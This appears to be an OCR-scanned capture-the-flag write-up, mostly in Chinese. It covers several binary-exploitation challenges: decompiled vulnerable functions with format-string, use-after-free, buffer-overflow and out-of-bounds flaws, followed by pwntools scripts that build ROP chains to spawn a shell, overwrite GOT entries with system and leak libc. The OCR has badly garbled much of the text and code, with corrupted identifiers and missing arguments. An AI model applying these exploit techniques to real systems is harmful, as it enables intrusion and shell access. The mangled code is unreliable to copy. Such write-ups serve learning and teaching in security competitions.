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Pe m i emag o e s
v3 = alloca(144);
printf("Flag judgment system\nInput flag >> ");
if ( getnline(format, 64) )
{
printf(format);
IT( Istrcmp(tormat, flag) )
result = puts("\nCorrect flag!!");
else
result = puts("\nWrong flag...");

}

else

{
puts("Unprintable character");
result = -1;

}

return result;

}
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.bss:0804A085

.bss:0804A0A0

.bss:0804A08A0 ; char flag[64]
.bss:0804A0A0 flag
.bss:0804A0A0

.bss:0804A8A0 _bss ends
.bss:0804A0A0

align 26h
public flag

db 48h dup(?)

.prgend: 0804A0EQ
.prgend:0804A0EQ ; Segment type: Zero-length
.prgend:8804A0E@ _prgend

.pPgend:BSB4ABEB y SESSSSSSSSSSSSSSSSSSSSSSS===

segment byte public

) i =

; DATA XREF: init+55fto

; main+7CtTo

use3?2

AN TE X B flagfEbss B b o AR W] DUE Rkl F il s Bt lag &= ik . (2 3RATR I

BOOL4 __cdecl getnline(char *s, int n)

int i; // [esp+18h] [ebp-18h]
char *v4; // [esp+1Ch] [ebp-Ch]
int na; // [esp+34h] [ebp+Ch]

fgets(s, n, stdin);
v4d = strchr(s, OxA);
if (va )
*vd = @;
na = strlen(s);
for (1 =0; 1< na && isprint(s[i]); ++1 )

return 1 == na;}
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from pwn import

r remote( ,25297)
r.sendlineafter(

r.interactive()
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{
puts(®--------c---memeee e ");
puts(" 1. Add a girlfriend "3
puts(" 2. Delete a girlfriend ");
puts(" 3. show her name "3
puts(" 4. give up ");
puts("--=--==---------mmmeooo ")
return printf("Your choice :");
¥
add
v5 = __readfsqword(@x28u);
if ( count <= 18 )
{
for (1 =03 1 <= 9; ++1 )
{
if ( !*(&girlfriendlist + 1) )
{

*(&girlfriendlist + i) = malloc(©xleulLl);
if ( !'*(&girlfriendlist + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_QWORD *)*(&girlfriendlist + i) = print_girlfriend_name;
printf("Her name size is :");
read(@, buf, 8uLL);
v3 = atoi(buf);
ve = (__inte4)*(&girlfriendlist + 1);
*(_QWORD *)(ve + 8) = malloc(v3);
if ( !'*((_QwWOrRD *)*(&girlfriendlist + i) + 1) )
{
puts("Alloca Error");
exit(-1);
¥
printf("Her name is :");
read(@, *((void **)*(&girlfriendlist + 1) + 1), v3);
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puts

Name

delete

v3 = __readfsqword(@x28u);
printf("Index :");
read(@, buf, 4uLL);
vl = atoi(buf);
if ( vl >= © && vl < count )
{
if ( *(&girlfriendlist + v1) )
{
free(*((void **)*(&girlfriendlist + v1) + 1));
free(*(&girlfriendlist + v1));
puts( success ),
X
X

else
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show

v3 = _ readfsgword(®x28u);
printf("Index :");
read(®, buf, 4uLL);
vl = atoi(buf);
if (vl >= @ & vl < count )
{

if ( *(&girlfriendlist + v1) )

(*(void (__fastcall **)(_QWORD))*(&girlfriendlist + v1))(*(&girlfriendlist + v1));

s

else

{

A2 i 8> chunk B2 1 0 40 HH e AR

int backdoor()

{
puts("YDS get N+ girlfriend!");

return system("/bin/sh");

}
EHAET]
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from pwn import
r remote( ,27417)
elf = ELF(

libc

context.log level

def add(size,name):

r.sendafter(
r.sendafter(

r.sendafter(
def delete(idx):

r.sendafter(

r.sendafter(

r.interactive()
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int vul()

{
char v1[264]; // [esp+Ch] [ebp-18Ch] BYREF

setbuf(stdin, @);
setbuf(stdout, ©);
j_memset_ifunc(vl, @, 256);
read(@, vl, 768);

return puts(vl);

pwn2

setbuf(stdin, @LL);
setbuf(stdout, @LL);
j_memset_ifunc(buf, @LL, 256LL);
read(@, buf, @x3e0uLL);

return puts(buf, buf, );
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from pwn import

process(

ELF(
ELF(

0x43b97c
0x4005f6
0x405895
0x43b9d5
0x4011dc
elf64.sym[
Ox6A32E0Q

pop_eax = Ox080a8af6
pop_edx_ecx_ebx = 0x0806e9f1
int80 = ©x080495a3

read32 = elf32.sym[

bss32 0x080DA320

0x0804933f

p32(add_esp_8C) p32(9)

p64(pop_rdi) p64(9) p64(pop_rsi) p64(bss64) p64(pop_rdx) p64(0x10) p64(read64d)

p64(pop_rdi) p64(bss64) p64(pop_rax) p64(59) p64(pop_rsi) p64(0) p64(pop_rdx) p64(0)

p64(syscall)
payload payload.ljust(0x1A0,

payload p32(read32) p32(pop_edx_ecx_ebx) p32(9) p32(bss32) p32(0x10)

payload p32(pop_eax) p32(0xB) p32(pop_edx_ecx_ebx) p32(9) p32(0) p32(bss32) p32(int80)

,payload)

()
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int vulnerable()

{

int result; // eax
int i; // [esp+8h] [ebp-16
int v2; // [esp+Ch] [ebp-C

h]
h]
result = puts("I bought you five male dogs.Name for them?");
for (1 =1; 1 <= 5; ++1 )
{

v2 = NameWhich((int)&Dogs);

result = printf("His name is:%s\n\n", (const char *)(8 * v2 + ©x884A860));
¥

return result;

-

ERASE — R, XGRS .

int _ cdecl NameWhich(int al)

{
int v2[4]; // [esp+18h] [ebp-18h] BYREF

v2[1] = __readgsdword(®xl4u);
printf("Name for which?\n>");
__is0¢99_scanf("%d", v2);

printf("Give your name plz: ");
__is0c¢99_scanf("%7s", 8 * v2[@] + al);
return v2[e];
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bss:@804A060 pt
bss:0804A060 Dogs dt
bss:0804A061 dt
bss:0804A062 dt

got.plt:0804A020 ; DAT/
got.plt:0804A024 off_804A024 dd offset setvbuf ; DATF
sot.plt:0804A028 off_804A028 dd offset _ isoc99 scanf

got.plt:0804A028 . DAT?

exp

from pwn import

r remote ( , 29425)

getshell addr = 0x080485CB
r.sendlineafter( 5 (-11))
r.sendlineafter( ,p32(getshell addr))

r.interactive()
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return printf(“low 12 bits: @x%@3x\n\n", al & @xFFF);
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__inté4 _ fastcall sub_4e0ABO(__inte4 al, int a2)
{

h

return a2l | a2;
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L
result = addr_array[i];
if ( !result )
{

addr_array[i] = v5;
result = 1i;
size_array[i] = vZ;

edit

printf(“"index: ");

result = get_num();

v2 = result;

if ( result < @ || result > 16 )

{
puts("index is invalid.");
exit(-1);
¥
for (1 =0; 1 <= 16; ++i )
{
result = sub_400ACE(addr_array[i]);
if ( result == v2 )
{
printf(“content: ");
sub_4eeDe8(addr_array[i] & @xFFFFFFFFFFFFFFFOLL, (unsigned int)size_array[i1]);
result = puts("edit success.\n");
break;
¥
¥
if (1 ==17)
{
puts("edit is invalid.");
exit(-1);
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delete

printf("index: ");

result = get_num();

v2 = result;

if ( result < @ || result > 16 )

{
puts("index is invalid.");
exit(-1);
¥
for (1 =0; 1 <= 16; ++1 )
{

result = sub_4@8ACE(addr_array[i]);
if ( result == v2 )

{
free((void *)(addr_array[i] & @xFFFFFFFFFFFFFFFeLL));
addr_array[i] = OLL;
size_array[i] = ©;
result = puts("free success.\n");
break;
¥
¥
free (I 2 IR 141 o
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from pwn import

r remote( , 25519)

context.log level

elf = ELF(

libc ELF(
content 0x6020e0
free_got=0x602018
puts_plt=0x400790
puts_got=0x602020
atoi_got=0x602078

def add(index, size, content):

r.recvuntil( )



.sendline(
.recvuntil( )
.sendline( (index))
.recvuntil( )
.sendline( (size))
.recvuntil(
.send(content)

def delete(index):
.recvuntil(
.sendline(
.recvuntil( )
.sendline( (index))

def edit(index, content):
r.recvuntil(
.sendline(
.recvuntil( )

.recvuntil(

p
p
r.sendline( (index))
-
o

.send(content)

add(16,0x10, p64(0)+p64(0x90) )
)

, 0x80, p64(0)+p64(0x21)+p64(content))
, Oxco, )
add (4, OxcO, p64(free_got)+p64d(puts_got+l)+p64d(atoi_got-4)+p64(0)*17+p32(0x10)*8)

edit(8,p64(puts_plt)*2)

delete(1)
ub4(r.recv(6).ljust(8,
(puts))
puts libc.symbols|
libc_base libc.sym[
edit(4, p64(system)*2)

r.interactive()
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